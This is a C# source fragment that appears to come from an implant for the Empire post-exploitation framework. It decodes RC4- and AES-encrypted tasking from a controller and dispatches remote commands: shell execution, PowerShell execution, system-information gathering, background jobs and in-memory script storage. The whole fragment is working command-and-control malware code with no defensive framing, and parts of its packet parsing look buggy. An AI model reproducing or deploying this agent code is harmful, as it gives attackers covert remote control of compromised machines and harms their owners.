//////////////////////////////////////////////////////////////////////////////// private byte[] newRoutingPacket(byte[] encryptedBytes, Int32 meta) { Int32 encryptedBytesLength = 0; if (encryptedBytes != null && encryptedBytes.Length > 0) { encryptedBytesLength = encryptedBytes.Length; } byte[] data = Encoding.ASCII.GetBytes(sessionId); data = Combine.combine(data, new byte[4] { 0x01, Convert.ToByte(meta), 0x00, 0x00 }); data = Combine.combine(data, BitConverter.GetBytes(encryptedBytesLength)); byte[] initializationVector = newInitializationVector(4); byte[] rc4Key = Combine.combine(initializationVector, stagingKeyBytes); byte[] routingPacketData = EmpireStager.rc4Encrypt(rc4Key, data); routingPacketData = Combine.combine(initializationVector, routingPacketData); if (encryptedBytes != null && encryptedBytes.Length > 0) { routingPacketData = Combine.combine(routingPacketData, encryptedBytes); } return(routingPacketData); }
//////////////////////////////////////////////////////////////////////////////// internal Byte[] task121(Coms.PACKET packet) { Byte[] scriptBytes = EmpireStager.aesDecrypt(sessionKey, jobTracking.importedScript); String script = Encoding.UTF8.GetString(scriptBytes); String jobId = jobTracking.startAgentJob(script + ";" + packet.data); return(encodePacket(packet.type, "Job started: " + jobId, packet.taskId)); }
//////////////////////////////////////////////////////////////////////////////// internal Byte[] task120(Coms.PACKET packet) { Random random = new Random(); Byte[] initializationVector = new Byte[16]; random.NextBytes(initializationVector); jobTracking.importedScript = EmpireStager.aesEncrypt(sessionKeyBytes, initializationVector, Encoding.ASCII.GetBytes(packet.data)); return(encodePacket(packet.type, "Script successfully saved in memory", packet.taskId)); }
//////////////////////////////////////////////////////////////////////////////// private void processTaskingPackets(byte[] encryptedTask) { byte[] taskingBytes = EmpireStager.aesDecrypt(sessionKey, encryptedTask); PACKET firstPacket = decodePacket(taskingBytes, 0); byte[] resultPackets = processTasking(firstPacket); sendMessage(resultPackets); Int32 offset = 12 + (Int32)firstPacket.length; String remaining = firstPacket.remaining; }
//////////////////////////////////////////////////////////////////////////////// internal void decodeRoutingPacket(byte[] packetData, ref JobTracking jobTracking) { this.jobTracking = jobTracking; if (packetData.Length < 20) { return; } Int32 offset = 0; while (offset < packetData.Length) { byte[] routingPacket = packetData.Skip(offset).Take(20).ToArray(); byte[] routingInitializationVector = routingPacket.Take(4).ToArray(); byte[] routingEncryptedData = packetData.Skip(4).Take(16).ToArray(); offset += 20; byte[] rc4Key = Combine.combine(routingInitializationVector, stagingKeyBytes); byte[] routingData = EmpireStager.rc4Encrypt(rc4Key, routingEncryptedData); String packetSessionId = Encoding.UTF8.GetString(routingData.Take(8).ToArray()); try { byte language = routingPacket[8]; byte metaData = routingPacket[9]; } catch (IndexOutOfRangeException ex) { Console.WriteLine("[-] {0}", ex.Message); } byte[] extra = routingPacket.Skip(10).Take(2).ToArray(); UInt32 packetLength = BitConverter.ToUInt32(routingData, 12); if (packetLength < 0) { break; } if (sessionId == packetSessionId) { byte[] encryptedData = packetData.Skip(offset).Take(offset + (Int32)packetLength - 1).ToArray(); offset += (Int32)packetLength; try { processTaskingPackets(encryptedData); } catch (Exception ex) { Console.WriteLine("[-] {0}", ex.Message); } } } }
//////////////////////////////////////////////////////////////////////////////// //The hard part //////////////////////////////////////////////////////////////////////////////// private byte[] processTasking(PACKET packet) { byte[] returnPacket = new byte[0]; try { //Change this to a switch : case Int32 type = packet.type; switch (type) { case 1: byte[] systemInformationBytes = EmpireStager.GetSystemInformation("0", "servername"); String systemInformation = Encoding.ASCII.GetString(systemInformationBytes); return(encodePacket(1, systemInformation, packet.taskId)); case 2: String message = "[!] Agent " + sessionId + " exiting"; sendMessage(encodePacket(2, message, packet.taskId)); Environment.Exit(0); //This is still dumb return(new byte[0]); case 40: String[] parts = packet.data.Split(' '); String output; if (parts.Length == 1) { output = Agent.invokeShellCommand(parts[0], ""); } else { output = Agent.invokeShellCommand(parts[0], parts[1]); } byte[] packetBytes = encodePacket(packet.type, output, packet.taskId); return(packetBytes); case 41: return(task41(packet)); case 42: return(task42(packet)); case 50: List <String> runningJobs = new List <String>(jobTracking.jobs.Keys); return(encodePacket(packet.type, runningJobs.ToArray(), packet.taskId)); case 51: return(task51(packet)); case 100: return(encodePacket(packet.type, Agent.runPowerShell(packet.data), packet.taskId)); case 101: return(task101(packet)); case 110: String jobId = jobTracking.startAgentJob(packet.data); return(encodePacket(packet.type, "Job started: " + jobId, packet.taskId)); case 111: return(encodePacket(packet.type, "Not Implimented", packet.taskId)); case 120: return(task120(packet)); case 121: return(task121(packet)); default: return(encodePacket(0, "Invalid type: " + packet.type, packet.taskId)); } } catch (Exception error) { return(encodePacket(packet.type, "Error running command: " + error, packet.taskId)); } }